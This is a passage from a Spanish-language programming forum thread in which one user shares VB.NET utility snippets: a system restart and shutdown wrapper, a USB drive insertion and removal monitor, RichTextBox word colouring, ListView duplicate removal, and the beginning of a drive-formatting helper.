todo mediante la WinAPI (llevó bastante trabajo la investigación, y la escritura de documentación XML)  :)

~> SystemRestarter for VB.NET - by Elektro (http://pastebin.com/4BN83EiU)

Ejemplos de uso:

Código
  1. Sub Test()
  2.  
  3.    ' Restart the current computer in 30 seconds and wait for applications to close.
  4.    ' Specify that the restart operation is planned because a consecuence of an installation.
  5.    Dim Success =
  6.    SystemRestarter.Restart(Nothing, 30, "System is gonna be restarted quickly, save all your data...!",
  7.                            SystemRestarter.Enums.InitiateShutdown_Force.Wait,
  8.                            SystemRestarter.Enums.ShutdownReason.MajorOperatingSystem Or
  9.                            SystemRestarter.Enums.ShutdownReason.MinorInstallation,
  10.                            SystemRestarter.Enums.ShutdownPlanning.Planned)
  11.  
  12.    Console.WriteLine(String.Format("Restart operation initiated successfully?: {0}", CStr(Success)))
  13.  
  14.    ' Abort the current operation.
  15.    If Success Then
  16.        Dim IsAborted = SystemRestarter.Abort()
  17.        Console.WriteLine(String.Format("Restart operation aborted   successfully?: {0}", CStr(IsAborted)))
  18.    Else
  19.        Console.WriteLine("There is any restart operation to abort.")
  20.    End If
  21.    Console.ReadKey()
  22.  
  23.    ' Shutdown the current computer instantlly and force applications to close.
  24.    ' ( When timeout is '0' the operation can't be aborted )
  25.    SystemRestarter.Shutdown(Nothing, 0, Nothing, SystemRestarter.Enums.InitiateShutdown_Force.ForceSelf)
  26.  
  27.    ' LogOffs the current user.
  28.    SystemRestarter.LogOff(SystemRestarter.Enums.ExitwindowsEx_Force.Wait)
  29.  
  30. End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 17 Febrero 2014, 22:16 pm
obtener los dispositivos extraibles que están conectados al sistema

Código
  1.        ' GetDrivesOfType
  2.       ' ( By Elektro )
  3.       '
  4.       ' Usage Examples:
  5.       '
  6.       ' Dim Drives As IO.DriveInfo() = GetDrivesOfType(IO.DriveType.Fixed)
  7.       '
  8.       ' For Each Drive As IO.DriveInfo In GetDrivesOfType(IO.DriveType.Removable)
  9.       '     MsgBox(Drive.Name)
  10.       ' Next Drive
  11.       '
  12.       ''' <summary>
  13.       ''' Get all the connected drives of the given type.
  14.       ''' </summary>
  15.       ''' <param name="DriveType">Indicates the type of the drive.</param>
  16.       ''' <returns>System.IO.DriveInfo[].</returns>
  17.       Public Function GetDrivesOfType(ByVal DriveType As IO.DriveType) As IO.DriveInfo()
  18.  
  19.           Return (From Drive As IO.DriveInfo In IO.DriveInfo.GetDrives
  20.                   Where Drive.DriveType = DriveType).ToArray
  21.  
  22.       End Function



monitorizar la inserción/extracción de dispositivos

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 02-17-2014
  4. ' ***********************************************************************
  5. ' <copyright file="DriveWatcher.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. ' ''' <summary>
  13. ' ''' The DriveWatcher instance to monitor USB devices.
  14. ' ''' </summary>
  15. 'Friend WithEvents USBMonitor As New DriveWatcher(form:=Me)
  16.  
  17. ' ''' <summary>
  18. ' ''' Handles the DriveInserted event of the USBMonitor object.
  19. ' ''' </summary>
  20. ' ''' <param name="sender">The source of the event.</param>
  21. ' ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  22. 'Private Sub USBMonitor_DriveInserted(ByVal sender As Object, ByVal e As DriveWatcher.DriveWatcherInfo) Handles USBMonitor.DriveInserted
  23.  
  24. '    If e.DriveType = IO.DriveType.Removable Then ' If it's a removable media then...
  25.  
  26. '        Dim sb As New System.Text.StringBuilder
  27.  
  28. '        sb.AppendLine("DRIVE CONNECTED!")
  29. '        sb.AppendLine()
  30. '        sb.AppendLine(String.Format("Drive Name: {0}", e.Name))
  31. '        sb.AppendLine(String.Format("Drive Type: {0}", e.DriveType))
  32. '        sb.AppendLine(String.Format("FileSystem: {0}", e.DriveFormat))
  33. '        sb.AppendLine(String.Format("Is Ready? : {0}", e.IsReady))
  34. '        sb.AppendLine(String.Format("Root Dir. : {0}", e.RootDirectory))
  35. '        sb.AppendLine(String.Format("Vol. Label: {0}", e.VolumeLabel))
  36. '        sb.AppendLine(String.Format("Total Size: {0}", e.TotalSize))
  37. '        sb.AppendLine(String.Format("Free Space: {0}", e.TotalFreeSpace))
  38. '        sb.AppendLine(String.Format("Ava. Space: {0}", e.AvailableFreeSpace))
  39.  
  40. '        MessageBox.Show(sb.ToString, "USBMonitor", MessageBoxButtons.OK, MessageBoxIcon.Information)
  41.  
  42. '    End If
  43.  
  44. 'End Sub
  45.  
  46. ' ''' <summary>
  47. ' ''' Handles the DriveRemoved event of the USBMonitor object.
  48. ' ''' </summary>
  49. ' ''' <param name="sender">The source of the event.</param>
  50. ' ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  51. 'Private Sub USBMonitor_DriveRemoved(ByVal sender As Object, ByVal e As DriveWatcher.DriveWatcherInfo) Handles USBMonitor.DriveRemoved
  52.  
  53. '    If e.DriveType = IO.DriveType.Removable Then ' If it's a removable media then...
  54.  
  55. '        Dim sb As New System.Text.StringBuilder
  56.  
  57. '        sb.AppendLine("DRIVE DISCONNECTED!")
  58. '        sb.AppendLine()
  59. '        sb.AppendLine(String.Format("Drive Name: {0}", e.Name))
  60. '        sb.AppendLine(String.Format("Drive Type: {0}", e.DriveType))
  61. '        sb.AppendLine(String.Format("FileSystem: {0}", e.DriveFormat))
  62. '        sb.AppendLine(String.Format("Is Ready? : {0}", e.IsReady))
  63. '        sb.AppendLine(String.Format("Root Dir. : {0}", e.RootDirectory))
  64. '        sb.AppendLine(String.Format("Vol. Label: {0}", e.VolumeLabel))
  65. '        sb.AppendLine(String.Format("Total Size: {0}", e.TotalSize))
  66. '        sb.AppendLine(String.Format("Free Space: {0}", e.TotalFreeSpace))
  67. '        sb.AppendLine(String.Format("Ava. Space: {0}", e.AvailableFreeSpace))
  68.  
  69. '        MessageBox.Show(sb.ToString, "USBMonitor", MessageBoxButtons.OK, MessageBoxIcon.Information)
  70.  
  71. '    End If
  72.  
  73. 'End Sub
  74.  
  75. #End Region
  76.  
  77. #Region " Imports "
  78.  
  79. Imports System.IO
  80. Imports System.Runtime.InteropServices
  81. Imports System.ComponentModel
  82.  
  83. #End Region
  84.  
  85. ''' <summary>
  86. ''' Device insertion/removal monitor.
  87. ''' </summary>
  88. Public Class DriveWatcher : Inherits NativeWindow : Implements IDisposable
  89.  
  90. #Region " Objects "
  91.  
  92.    ''' <summary>
  93.    ''' The current connected drives.
  94.    ''' </summary>
  95.    Private CurrentDrives As New Dictionary(Of Char, DriveWatcherInfo)
  96.  
  97.    ''' <summary>
  98.    ''' Indicates the drive letter of the current device.
  99.    ''' </summary>
  100.    Private DriveLetter As Char = Nothing
  101.  
  102.    ''' <summary>
  103.    ''' Indicates the current Drive information.
  104.    ''' </summary>
  105.    Private CurrentDrive As DriveWatcherInfo = Nothing
  106.  
  107.    ''' <summary>
  108.    ''' The form to manage their Windows Messages.
  109.    ''' </summary>
  110.    Private WithEvents form As Form = Nothing
  111.  
  112. #End Region
  113.  
  114. #Region " Events "
  115.  
  116.    ''' <summary>
  117.    ''' Occurs when a drive is inserted.
  118.    ''' </summary>
  119.    Public Event DriveInserted(ByVal sender As Object, ByVal e As DriveWatcherInfo)
  120.  
  121.    ''' <summary>
  122.    ''' Occurs when a drive is removed.
  123.    ''' </summary>
  124.    Public Event DriveRemoved(ByVal sender As Object, ByVal e As DriveWatcherInfo)
  125.  
  126. #End Region
  127.  
  128. #Region " Enumerations "
  129.  
  130.    ''' <summary>
  131.    ''' Notifies an application of a change to the hardware configuration of a device or the computer.
  132.    ''' A window receives this message through its WindowProc function.
  133.    ''' For more info, see here:
  134.    ''' http://msdn.microsoft.com/en-us/library/windows/desktop/aa363480%28v=vs.85%29.aspx
  135.    ''' http://msdn.microsoft.com/en-us/library/windows/desktop/aa363232%28v=vs.85%29.aspx
  136.    ''' </summary>
  137.    Private Enum DeviceEvents As Integer
  138.  
  139.        ''' <summary>
  140.        ''' The current configuration has changed, due to a dock or undock.
  141.        ''' </summary>
  142.        Change = &H219
  143.  
  144.        ''' <summary>
  145.        ''' A device or piece of media has been inserted and becomes available.
  146.        ''' </summary>
  147.        Arrival = &H8000
  148.  
  149.        ''' <summary>
  150.        ''' Request permission to remove a device or piece of media.
  151.        ''' This message is the last chance for applications and drivers to prepare for this removal.
  152.        ''' However, any application can deny this request and cancel the operation.
  153.        ''' </summary>
  154.        QueryRemove = &H8001
  155.  
  156.        ''' <summary>
  157.        ''' A request to remove a device or piece of media has been canceled.
  158.        ''' </summary>
  159.        QueryRemoveFailed = &H8002
  160.  
  161.        ''' <summary>
  162.        ''' A device or piece of media is being removed and is no longer available for use.
  163.        ''' </summary>
  164.        RemovePending = &H8003
  165.  
  166.        ''' <summary>
  167.        ''' A device or piece of media has been removed.
  168.        ''' </summary>
  169.        RemoveComplete = &H8004
  170.  
  171.        ''' <summary>
  172.        ''' The type volume
  173.        ''' </summary>
  174.        TypeVolume = &H2
  175.  
  176.    End Enum
  177.  
  178. #End Region
  179.  
  180. #Region " Structures "
  181.  
  182.    ''' <summary>
  183.    ''' Indicates information related of a Device.
  184.    ''' ( Replic of System.IO.DriveInfo )
  185.    ''' </summary>
  186.    Public Structure DriveWatcherInfo
  187.  
  188.        ''' <summary>
  189.        ''' Indicates the name of a drive, such as 'C:\'.
  190.        ''' </summary>
  191.        Public Name As String
  192.  
  193.        ''' <summary>
  194.        ''' Indicates the amount of available free space on a drive, in bytes.
  195.        ''' </summary>
  196.        Public AvailableFreeSpace As Long
  197.  
  198.        ''' <summary>
  199.        ''' Indicates the name of the filesystem, such as 'NTFS', 'FAT32', 'UDF', etc...
  200.        ''' </summary>
  201.        Public DriveFormat As String
  202.  
  203.        ''' <summary>
  204.        ''' Indicates the the drive type, such as 'CD-ROM', 'removable', 'fixed', etc...
  205.        ''' </summary>
  206.        Public DriveType As DriveType
  207.  
  208.        ''' <summary>
  209.        ''' Indicates whether a drive is ready.
  210.        ''' </summary>
  211.        Public IsReady As Boolean
  212.  
  213.        ''' <summary>
  214.        ''' Indicates the root directory of a drive.
  215.        ''' </summary>
  216.        Public RootDirectory As String
  217.  
  218.        ''' <summary>
  219.        ''' Indicates the total amount of free space available on a drive, in bytes.
  220.        ''' </summary>
  221.        Public TotalFreeSpace As Long
  222.  
  223.        ''' <summary>
  224.        ''' Indicates the total size of storage space on a drive, in bytes.
  225.        ''' </summary>
  226.        Public TotalSize As Long
  227.  
  228.        ''' <summary>
  229.        ''' Indicates the volume label of a drive.
  230.        ''' </summary>
  231.        Public VolumeLabel As String
  232.  
  233.        ''' <summary>
  234.        ''' Initializes a new instance of the <see cref="DriveWatcherInfo"/> struct.
  235.        ''' </summary>
  236.        ''' <param name="e">The e.</param>
  237.        Public Sub New(ByVal e As DriveInfo)
  238.  
  239.            Name = e.Name
  240.  
  241.            Select Case e.IsReady
  242.  
  243.                Case True ' Drive is formatted and ready.
  244.                    IsReady = True
  245.                    DriveFormat = e.DriveFormat
  246.                    DriveType = e.DriveType
  247.                    RootDirectory = e.RootDirectory.FullName
  248.                    VolumeLabel = e.VolumeLabel
  249.                    TotalSize = e.TotalSize
  250.                    TotalFreeSpace = e.TotalFreeSpace
  251.                    AvailableFreeSpace = e.AvailableFreeSpace
  252.  
  253.                Case False ' Drive is not formatted so can't retrieve data.
  254.                    IsReady = False
  255.                    DriveFormat = Nothing
  256.                    DriveType = e.DriveType
  257.                    RootDirectory = e.RootDirectory.FullName
  258.                    VolumeLabel = Nothing
  259.                    TotalSize = 0
  260.                    TotalFreeSpace = 0
  261.                    AvailableFreeSpace = 0
  262.  
  263.            End Select ' e.IsReady
  264.  
  265.        End Sub
  266.  
  267.    End Structure
  268.  
  269.    ''' <summary>
  270.    ''' Contains information about a logical volume.
  271.    ''' For more info, see here:
  272.    ''' http://msdn.microsoft.com/en-us/library/windows/desktop/aa363249%28v=vs.85%29.aspx
  273.    ''' </summary>
  274.    <StructLayout(LayoutKind.Sequential)>
  275.    Private Structure DEV_BROADCAST_VOLUME
  276.  
  277.        ''' <summary>
  278.        ''' The size of this structure, in bytes.
  279.        ''' </summary>
  280.        Public Size As UInteger
  281.  
  282.        ''' <summary>
  283.        ''' Set to DBT_DEVTYP_VOLUME (2).
  284.        ''' </summary>
  285.        Public Type As UInteger
  286.  
  287.        ''' <summary>
  288.        ''' Reserved parameter; do not use this.
  289.        ''' </summary>
  290.        Public Reserved As UInteger
  291.  
  292.        ''' <summary>
  293.        ''' The logical unit mask identifying one or more logical units.
  294.        ''' Each bit in the mask corresponds to one logical drive.
  295.        ''' Bit 0 represents drive A, bit 1 represents drive B, and so on.
  296.        ''' </summary>
  297.        Public Mask As UInteger
  298.  
  299.        ''' <summary>
  300.        ''' This parameter can be one of the following values:
  301.        ''' '0x0001': Change affects media in drive. If not set, change affects physical device or drive.
  302.        ''' '0x0002': Indicated logical volume is a network volume.
  303.        ''' </summary>
  304.        Public Flags As UShort
  305.  
  306.    End Structure
  307.  
  308. #End Region
  309.  
  310. #Region " Constructor "
  311.  
  312.    ''' <summary>
  313.    ''' Initializes a new instance of this class.
  314.    ''' </summary>
  315.    ''' <param name="form">The form to assign.</param>
  316.    Public Sub New(ByVal form As Form)
  317.  
  318.        ' Assign the Formulary.
  319.        Me.form = form
  320.  
  321.    End Sub
  322.  
  323. #End Region
  324.  
  325. #Region " Event Handlers "
  326.  
  327.    ''' <summary>
  328.    ''' Assign the handle of the target Form to this NativeWindow,
  329.    ''' necessary to override target Form's WndProc.
  330.    ''' </summary>
  331.    Private Sub SetFormHandle() _
  332.    Handles form.HandleCreated, form.Load, form.Shown
  333.  
  334.        If Not MyBase.Handle.Equals(Me.form.Handle) Then
  335.            MyBase.AssignHandle(Me.form.Handle)
  336.        End If
  337.  
  338.    End Sub
  339.  
  340.    ''' <summary>
  341.    ''' Releases the Handle.
  342.    ''' </summary>
  343.    Private Sub OnHandleDestroyed() _
  344.    Handles form.HandleDestroyed
  345.  
  346.        MyBase.ReleaseHandle()
  347.  
  348.    End Sub
  349.  
  350. #End Region
  351.  
  352. #Region " Private Methods "
  353.  
  354.    ''' <summary>
  355.    ''' Gets the drive letter stored in a 'DEV_BROADCAST_VOLUME' structure object.
  356.    ''' </summary>
  357.    ''' <param name="Device">
  358.    ''' Indicates the 'DEV_BROADCAST_VOLUME' object containing the Device mask.
  359.    ''' </param>
  360.    ''' <returns>System.Char.</returns>
  361.    Private Function GetDriveLetter(ByVal Device As DEV_BROADCAST_VOLUME) As Char
  362.  
  363.        Dim DriveLetters As Char() =
  364.            {
  365.            "A", "B", "C", "D", "E", "F", "G", "H", "I",
  366.            "J", "K", "L", "M", "N", "O", "P", "Q", "R",
  367.            "S", "T", "U", "V", "W", "X", "Y", "Z"
  368.            }
  369.  
  370.        Dim DeviceID As New BitArray(BitConverter.GetBytes(Device.Mask))
  371.  
  372.        For X As Integer = 0 To DeviceID.Length
  373.  
  374.            If DeviceID(X) Then
  375.                Return DriveLetters(X)
  376.            End If
  377.  
  378.        Next X
  379.  
  380.        Return Nothing
  381.  
  382.    End Function
  383.  
  384. #End Region
  385.  
  386. #Region " WndProc"
  387.  
  388.    ''' <summary>
  389.    ''' Invokes the default window procedure associated with this window to process messages for this Window.
  390.    ''' </summary>
  391.    ''' <param name="m">
  392.    ''' A <see cref="T:System.Windows.Forms.Message" /> that is associated with the current Windows message.
  393.    ''' </param>
  394.    Protected Overrides Sub WndProc(ByRef m As Message)
  395.  
  396.        Select Case m.Msg
  397.  
  398.            Case DeviceEvents.Change ' The hardware has changed.
  399.  
  400.                ' Transform the LParam pointer into the data structure.
  401.                Dim CurrentWDrive As DEV_BROADCAST_VOLUME =
  402.                    CType(Marshal.PtrToStructure(m.LParam, GetType(DEV_BROADCAST_VOLUME)), DEV_BROADCAST_VOLUME)
  403.  
  404.                Select Case m.WParam.ToInt32
  405.  
  406.                    Case DeviceEvents.Arrival ' The device is connected.
  407.  
  408.                        ' Get the drive letter of the connected device.
  409.                        DriveLetter = GetDriveLetter(CurrentWDrive)
  410.  
  411.                        ' Get the drive information of the connected device.
  412.                        CurrentDrive = New DriveWatcherInfo(New DriveInfo(DriveLetter))
  413.  
  414.                        ' If it's an storage device then...
  415.                        If Marshal.ReadInt32(m.LParam, 4) = DeviceEvents.TypeVolume Then
  416.  
  417.                            ' Inform that the device is connected by raising the 'DriveConnected' event.
  418.                            RaiseEvent DriveInserted(Me, CurrentDrive)
  419.  
  420.                            ' Add the connected device to the dictionary, to retrieve info.
  421.                            If Not CurrentDrives.ContainsKey(DriveLetter) Then
  422.  
  423.                                CurrentDrives.Add(DriveLetter, CurrentDrive)
  424.  
  425.                            End If ' Not CurrentDrives.ContainsKey(DriveLetter)
  426.  
  427.                        End If ' Marshal.ReadInt32(m.LParam, 4) = DeviceEvents.TypeVolume
  428.  
  429.                    Case DeviceEvents.QueryRemove ' The device is preparing to be removed.
  430.  
  431.                        ' Get the letter of the current device being removed.
  432.                        DriveLetter = GetDriveLetter(CurrentWDrive)
  433.  
  434.                        ' If the current device being removed is not in the dictionary then...
  435.                        If Not CurrentDrives.ContainsKey(DriveLetter) Then
  436.  
  437.                            ' Get the device information of the current device being removed.
  438.                            CurrentDrive = New DriveWatcherInfo(New DriveInfo(DriveLetter))
  439.  
  440.                            ' Add the current device to the dictionary,
  441.                            ' to retrieve info before lost it after fully-removal.
  442.                            CurrentDrives.Add(DriveLetter, New DriveWatcherInfo(New DriveInfo(DriveLetter)))
  443.  
  444.                        End If ' Not CurrentDrives.ContainsKey(DriveLetter)
  445.  
  446.                    Case DeviceEvents.RemoveComplete
  447.  
  448.                        ' Get the letter of the removed device.
  449.                        DriveLetter = GetDriveLetter(CurrentWDrive)
  450.  
  451.                        ' Inform that the device is disconnected by raising the 'DriveDisconnected' event.
  452.                        RaiseEvent DriveRemoved(Me, CurrentDrive)
  453.  
  454.                        ' If the removed device is in the dictionary then...
  455.                        If CurrentDrives.ContainsKey(DriveLetter) Then
  456.  
  457.                            ' Remove the device from the dictionary.
  458.                            CurrentDrives.Remove(DriveLetter)
  459.  
  460.                        End If ' CurrentDrives.ContainsKey(DriveLetter)
  461.  
  462.                End Select ' m.WParam.ToInt32
  463.  
  464.        End Select ' m.Msg
  465.  
  466.        MyBase.WndProc(m) ' Return Message to base message handler.
  467.  
  468.    End Sub
  469.  
  470. #End Region
  471.  
  472. #Region " Hidden methods "
  473.  
  474.    ' These methods and properties are purposely hidden from Intellisense just to look better without unneeded methods.
  475.    ' NOTE: The methods can be re-enabled at any-time if needed.
  476.  
  477.    ''' <summary>
  478.    ''' Assigns a handle to this window.
  479.    ''' </summary>
  480.    <EditorBrowsable(EditorBrowsableState.Never)>
  481.    Public Shadows Sub AssignHandle()
  482.    End Sub
  483.  
  484.    ''' <summary>
  485.    ''' Creates a window and its handle with the specified creation parameters.
  486.    ''' </summary>
  487.    <EditorBrowsable(EditorBrowsableState.Never)>
  488.    Public Shadows Sub CreateHandle()
  489.    End Sub
  490.  
  491.    ''' <summary>
  492.    ''' Creates an object that contains all the relevant information required
  493.    ''' to generate a proxy used to communicate with a remote object.
  494.    ''' </summary>
  495.    <EditorBrowsable(EditorBrowsableState.Never)>
  496.    Public Shadows Sub CreateObjRef()
  497.    End Sub
  498.  
  499.    ''' <summary>
  500.    ''' Invokes the default window procedure associated with this window.
  501.    ''' </summary>
  502.    <EditorBrowsable(EditorBrowsableState.Never)>
  503.    Public Shadows Sub DefWndProc()
  504.    End Sub
  505.  
  506.    ''' <summary>
  507.    ''' Destroys the window and its handle.
  508.    ''' </summary>
  509.    <EditorBrowsable(EditorBrowsableState.Never)>
  510.    Public Shadows Sub DestroyHandle()
  511.    End Sub
  512.  
  513.    ''' <summary>
  514.    ''' Determines whether the specified object is equal to the current object.
  515.    ''' </summary>
  516.    <EditorBrowsable(EditorBrowsableState.Never)>
  517.    Public Shadows Sub Equals()
  518.    End Sub
  519.  
  520.    ''' <summary>
  521.    ''' Serves as the default hash function.
  522.    ''' </summary>
  523.    <EditorBrowsable(EditorBrowsableState.Never)>
  524.    Public Shadows Sub GetHashCode()
  525.    End Sub
  526.  
  527.    ''' <summary>
  528.    ''' Retrieves the current lifetime service object that controls the lifetime policy for this instance.
  529.    ''' </summary>
  530.    <EditorBrowsable(EditorBrowsableState.Never)>
  531.    Public Shadows Sub GetLifetimeService()
  532.    End Sub
  533.  
  534.    ''' <summary>
  535.    ''' Obtains a lifetime service object to control the lifetime policy for this instance.
  536.    ''' </summary>
  537.    <EditorBrowsable(EditorBrowsableState.Never)>
  538.    Public Shadows Sub InitializeLifetimeService()
  539.    End Sub
  540.  
  541.    ''' <summary>
  542.    ''' Releases the handle associated with this window.
  543.    ''' </summary>
  544.    <EditorBrowsable(EditorBrowsableState.Never)>
  545.    Public Shadows Sub ReleaseHandle()
  546.    End Sub
  547.  
  548.    ''' <summary>
  549.    ''' Gets the handle for this window.
  550.    ''' </summary>
  551.    <EditorBrowsable(EditorBrowsableState.Never)>
  552.    Public Shadows Property Handle()
  553.  
  554. #End Region
  555.  
  556. #Region " IDisposable "
  557.  
  558.    ''' <summary>
  559.    ''' To detect redundant calls when disposing.
  560.    ''' </summary>
  561.    Private IsDisposed As Boolean = False
  562.  
  563.    ''' <summary>
  564.    ''' Prevent calls to methods after disposing.
  565.    ''' </summary>
  566.    ''' <exception cref="System.ObjectDisposedException"></exception>
  567.    Private Sub DisposedCheck()
  568.        If Me.IsDisposed Then
  569.            Throw New ObjectDisposedException(Me.GetType().FullName)
  570.        End If
  571.    End Sub
  572.  
  573.    ''' <summary>
  574.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  575.    ''' </summary>
  576.    Public Sub Dispose() Implements IDisposable.Dispose
  577.        Dispose(True)
  578.        GC.SuppressFinalize(Me)
  579.    End Sub
  580.  
  581.    ''' <summary>
  582.    ''' Releases unmanaged and - optionally - managed resources.
  583.    ''' </summary>
  584.    ''' <param name="IsDisposing">
  585.    ''' <c>true</c> to release both managed and unmanaged resources;
  586.    ''' <c>false</c> to release only unmanaged resources.
  587.    ''' </param>
  588.    Protected Sub Dispose(ByVal IsDisposing As Boolean)
  589.  
  590.        If Not Me.IsDisposed Then
  591.  
  592.            If IsDisposing Then
  593.                Me.form = Nothing
  594.                MyBase.ReleaseHandle()
  595.                MyBase.DestroyHandle()
  596.            End If
  597.  
  598.        End If
  599.  
  600.        Me.IsDisposed = True
  601.  
  602.    End Sub
  603.  
  604. #End Region
  605.  
  606. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Febrero 2014, 21:54 pm
         [RichTextBox] Colorize Words

         Busca coincidencias de texto y las colorea.


Código
  1.    ' Colorize Words
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    '
  6.    ' ColorizeWord(RichTextBox1, "Hello", True,
  7.    '              Color.Red, Color.Black,
  8.    '              New Font(RichTextBox1.Font.FontFamily, RichTextBox1.Font.Size, FontStyle.Italic))
  9.    '
  10.    ' ColorizeWords(RichTextBox1, {"Hello", "[0-9]"}, IgnoreCase:=False,
  11.    '               ForeColor:=Color.Red, BackColor:=Nothing, Font:=Nothing)
  12.  
  13.    ''' <summary>
  14.    ''' Find a word on a RichTextBox and colorizes each match.
  15.    ''' </summary>
  16.    ''' <param name="RichTextBox">Indicates the RichTextBox.</param>
  17.    ''' <param name="Word">Indicates the word to colorize.</param>
  18.    ''' <param name="IgnoreCase">Indicates the ignore case.</param>
  19.    ''' <param name="ForeColor">Indicates the text color.</param>
  20.    ''' <param name="BackColor">Indicates the background color.</param>
  21.    ''' <param name="Font">Indicates the text font.</param>
  22.    ''' <returns><c>true</c> if matched at least one word, <c>false</c> otherwise.</returns>
  23.    Private Function ColorizeWord(ByVal [RichTextBox] As RichTextBox,
  24.                                  ByVal Word As String,
  25.                                  Optional ByVal IgnoreCase As Boolean = False,
  26.                                  Optional ByVal ForeColor As Color = Nothing,
  27.                                  Optional ByVal BackColor As Color = Nothing,
  28.                                  Optional ByVal [Font] As Font = Nothing) As Boolean
  29.  
  30.        ' Find all the word matches.
  31.        Dim Matches As System.Text.RegularExpressions.MatchCollection =
  32.            System.Text.RegularExpressions.Regex.Matches([RichTextBox].Text, Word,
  33.                                                         If(IgnoreCase,
  34.                                                            System.Text.RegularExpressions.RegexOptions.IgnoreCase,
  35.                                                            System.Text.RegularExpressions.RegexOptions.None))
  36.  
  37.        ' If no matches then return.
  38.        If Not Matches.Count <> 0 Then
  39.            Return False
  40.        End If
  41.  
  42.        ' Set the passed Parameter values.
  43.        If ForeColor.Equals(Nothing) Then ForeColor = [RichTextBox].ForeColor
  44.        If BackColor.Equals(Nothing) Then BackColor = [RichTextBox].BackColor
  45.        If [Font] Is Nothing Then [Font] = [RichTextBox].Font
  46.  
  47.        ' Store the current caret position to restore it at the end.
  48.        Dim CaretPosition As Integer = [RichTextBox].SelectionStart
  49.  
  50.        ' Suspend the control layout to work quicklly.
  51.        [RichTextBox].SuspendLayout()
  52.  
  53.        ' Colorize each match.
  54.        For Each Match As System.Text.RegularExpressions.Match In Matches
  55.  
  56.            [RichTextBox].Select(Match.Index, Match.Length)
  57.            [RichTextBox].SelectionColor = ForeColor
  58.            [RichTextBox].SelectionBackColor = BackColor
  59.            [RichTextBox].SelectionFont = [Font]
  60.  
  61.        Next Match
  62.  
  63.        ' Restore the caret position.
  64.        [RichTextBox].Select(CaretPosition, 0)
  65.  
  66.        ' Restore the control layout.
  67.        [RichTextBox].ResumeLayout()
  68.  
  69.        ' Return successfully
  70.        Return True
  71.  
  72.    End Function
  73.  
  74.    ''' <summary>
  75.    ''' Find multiple words on a RichTextBox and colorizes each match.
  76.    ''' </summary>
  77.    ''' <param name="RichTextBox">Indicates the RichTextBox.</param>
  78.    ''' <param name="Words">Indicates the words to colorize.</param>
  79.    ''' <param name="IgnoreCase">Indicates the ignore case.</param>
  80.    ''' <param name="ForeColor">Indicates the text color.</param>
  81.    ''' <param name="BackColor">Indicates the background color.</param>
  82.    ''' <param name="Font">Indicates the text font.</param>
  83.    ''' <returns><c>true</c> if matched at least one word, <c>false</c> otherwise.</returns>
  84.    Private Function ColorizeWords(ByVal [RichTextBox] As RichTextBox,
  85.                                   ByVal Words As String(),
  86.                                   Optional ByVal IgnoreCase As Boolean = False,
  87.                                   Optional ByVal ForeColor As Color = Nothing,
  88.                                   Optional ByVal BackColor As Color = Nothing,
  89.                                   Optional ByVal [Font] As Font = Nothing) As Boolean
  90.  
  91.        Dim Success As Boolean = False
  92.  
  93.        For Each Word As String In Words
  94.            Success += ColorizeWord([RichTextBox], Word, IgnoreCase, ForeColor, BackColor, [Font])
  95.        Next Word
  96.  
  97.        Return Success
  98.  
  99.    End Function



[ListView] Remove Duplicates

Elimina Items duplicados de un Listview, comparando un índice de subitem específico.

Código
  1.    ' Remove ListView Duplicates
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' Dim Items As ListView.ListViewItemCollection = New ListView.ListViewItemCollection(ListView1)
  6.    ' RemoveListViewDuplicates(Items, 0)    
  7.    '
  8.    ''' <summary>
  9.    ''' Removes duplicated items from a Listview.
  10.    ''' </summary>
  11.    ''' <param name="Items">
  12.    ''' Indicates the items collection.
  13.    ''' </param>
  14.    ''' <param name="SubitemCompare">
  15.    ''' Indicates the subitem column to compare duplicates.
  16.    ''' </param>
  17.    Private Sub RemoveListViewDuplicates(ByVal Items As ListView.ListViewItemCollection,
  18.                                         ByVal SubitemCompare As Integer)
  19.  
  20.        ' Suspend the layout on the Control that owns the Items collection.
  21.        Items.Item(0).ListView.SuspendLayout()
  22.  
  23.        ' Get the duplicated Items.
  24.        Dim Duplicates As ListViewItem() =
  25.            Items.Cast(Of ListViewItem)().
  26.            GroupBy(Function(Item As ListViewItem) Item.SubItems(SubitemCompare).Text).
  27.            Where(Function(g As IGrouping(Of String, ListViewItem)) g.Count <> 1).
  28.            SelectMany(Function(g As IGrouping(Of String, ListViewItem)) g).
  29.            Skip(1).
  30.            ToArray()
  31.  
  32.        ' Delete the duplicated Items.
  33.        For Each Item As ListViewItem In Duplicates
  34.            Items.Remove(Item)
  35.        Next Item
  36.  
  37.        ' Resume the layout on the Control that owns the Items collection.
  38.        Items.Item(0).ListView.ResumeLayout()
  39.  
  40.        Duplicates = Nothing
  41.  
  42.    End Sub
  43.  



Formatea un dispositivo

Código
  1.    ' Format Drive
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' FormatDrive("Z")
  6.    ' MsgBox(FormatDrive("Z", DriveFileSystem.NTFS, True, 4096, "Formatted", False))
  7.  
  8.    ''' <summary>
  9.    ''' Indicates the possible HardDisk filesystem's for Windows OS.
  10.    ''' </summary>
  11.    Public Enum DriveFileSystem As Integer
  12.  
  13.        ' NOTE:
  14.        ' *****
  15.        ' The numeric values just indicates the max harddisk volume-label character-length for each filesystem.
  16.  
  17.        ''' <summary>
  18.        ''' NTFS FileSystem.
  19.        ''' </summary>
  20.        NTFS = 32
  21.  
  22.        ''' <summary>
  23.        ''' FAT16 FileSystem.
  24.        ''' </summary>
  25.        FAT16 = 11
  26.  
  27.        ''' <summary>
  28.        ''' FAT32 FileSystem.
  29.        ''' </summary>
  30.        FAT32 = FAT16
  31.  
  32.    End Enum
  33.  
  34.    ''' <summary>
  35.    ''' Formats a drive.
  36.    ''' For more info see here:
  37.    ''' http://msdn.microsoft.com/en-us/library/aa390432%28v=vs.85%29.aspx
  38.    ''' </summary>
  39.    ''' <param name="DriveLetter">
